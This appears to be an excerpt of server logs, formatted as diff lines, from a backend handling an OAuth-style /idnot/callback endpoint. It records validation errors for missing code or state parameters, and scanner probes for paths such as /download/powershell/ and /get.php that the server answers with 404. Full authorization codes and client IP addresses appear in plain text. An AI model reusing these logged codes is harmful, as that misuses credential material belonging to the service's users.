1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647712197_lp2yhq6ez' -} -❌ [ERROR] 2025-09-23T17:15:12.199Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647712197_lp2yhq6ez', - response: { - statusCode: 400 - } -} -ℹ️ [INFO] 2025-09-23T17:15:26.362Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647726358_59j9aco0f', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:54.882Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647874881_m5ovu25nc', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:55.177Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647875176_exgy78ksq', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:55.239Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647875237_q2u6dyyyp', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:58.309Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647878307_4jbsxih5d', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:58.311Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647878309_otmivcaso', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:58.314Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647878313_6p26bbf2q', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:58.317Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647878315_p4oi8e80t', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:17:58.318Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647878317_9bwzzrknp', - response: { - statusCode: 200 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '66.132.153.117', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T17:20:11.389Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758648011389_yf5sbic1j' -} -❌ [ERROR] 2025-09-23T17:20:11.390Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758648011389_yf5sbic1j', - response: { - statusCode: 400 - } -} -ℹ️ [INFO] 2025-09-23T17:53:34.133Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758650014132_33i2my5qk', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T17:58:34.335Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758650314334_8p20b7kql', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-23T18:03:25.513Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758650605512_of7poe23h', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '199.45.155.81', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T18:10:36.360Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758651036359_jx4hv58o8' -} -❌ [ERROR] 2025-09-23T18:10:36.361Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758651036359_jx4hv58o8', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T18:14:55.820Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:161.35.95.45', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' - }, - requestId: 'req_1758651295819_6sr86hab0', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T18:14:55.864Z HTTP GET /download/powershell/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:161.35.95.45', - method: 'GET', - url: '/download/powershell/', - userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' - }, - requestId: 'req_1758651295863_cjzu2mwuf', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T18:14:55.906Z HTTP GET /get.php - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:161.35.95.45', - method: 'GET', - url: '/get.php', - userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' - }, - requestId: 'req_1758651295906_hhsbe67h0', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T18:39:29.979Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758652769979_3773mlfzp', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T19:21:54.827Z HTTP GET /script - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.254', - method: 'GET', - url: '/script', - userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0' - }, - requestId: 'req_1758655314827_4pznqlf2t', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T19:26:33.623Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758655593622_pymwhvl0j', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-23T20:04:06.186Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758657846185_t4go8hbk7', - response: { - statusCode: 200 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '172.236.228.218', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T20:05:38.360Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' - }, - requestId: 'req_1758657938359_ow153znwm' -} -❌ [ERROR] 2025-09-23T20:05:38.361Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' - }, - requestId: 'req_1758657938359_ow153znwm', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '78.241.54.161', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T20:05:48.535Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758657948534_npfw2fxu3' -} -❌ [ERROR] 2025-09-23T20:05:48.536Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758657948534_npfw2fxu3', - response: { - statusCode: 400 - } -} -ℹ️ [INFO] 2025-09-23T20:06:25.518Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758657985517_gy014pc1p', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-23T20:07:26.869Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:91.148.240.220', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (x11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' - }, - requestId: 'req_1758658046869_cf5fpxboz', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T20:07:35.414Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:84.104.229.103', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758658055413_bv663kst9', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T20:15:17.444Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758658517443_c2crku3i1', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-23T20:15:50.679Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758658550678_i64vwrkmj', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T20:17:50.405Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758658670404_667rthoy3', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-23T20:21:28.475Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:198.235.24.105', - method: 'GET', - url: '/', - userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' - }, - requestId: 'req_1758658888474_2lq8jswan', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJnRkXpXhU5BNXPgsz51sTC_5jAk6N2uPpu0NZZDX07j5QSrUlegMGuiBZHWIeuQsnAgD89S0os8xzNXXwse1uyIPgg7mcXMt4iBqoazNXmMUwBBk_rgKc4O0-WJPHqi4pJG0ON4XgqTknp6Qhk_J8d-H68VYm5SUtNRelIX4CBPNs-TaZlMtsGySP1faWtrf0jYf0U09H2EnKVu8sba-fSb1-wNMhXqNfZ_9HkQ0Uj5QSTubihCaxNmeYaAIndLWLxAYoeXCLTOyL4mvJflE_lEg62RmlyXoWUnm73WUVWytfPoim6uLpcJioy6WIIXrZ0YCmU3pO4pAzx6jwWbhfjBYN5LsP5Zed2X7eyDmM7HtqgBt6p7nlpG8qNG2WY6nfghOQOZszZQeQBEHP1QL9ntJ4j-nmiZ4ZK4Vo', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '54.175.74.27', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T20:27:22.653Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJn'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y8'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758659242652_9rouz12w2' -} -❌ [ERROR] 2025-09-23T20:27:22.654Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJnRkXpXhU5BNXPgsz51sTC_5jAk6N2uPpu0NZZDX07j5QSrUlegMGuiBZHWIeuQsnAgD89S0os8xzNXXwse1uyIPgg7mcXMt4iBqoazNXmMUwBBk_rgKc4O0-WJPHqi4pJG0ON4XgqTknp6Qhk_J8d-H68VYm5SUtNRelIX4CBPNs-TaZlMtsGySP1faWtrf0jYf0U09H2EnKVu8sba-fSb1-wNMhXqNfZ_9HkQ0Uj5QSTubihCaxNmeYaAIndLWLxAYoeXCLTOyL4mvJflE_lEg62RmlyXoWUnm73WUVWytfPoim6uLpcJioy6WIIXrZ0YCmU3pO4pAzx6jwWbhfjBYN5LsP5Zed2X7eyDmM7HtqgBt6p7nlpG8qNG2WY6nfghOQOZszZQeQBEHP1QL9ntJ4j-nmiZ4ZK4Vo - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y8'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758659242652_9rouz12w2', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T20:40:24.101Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 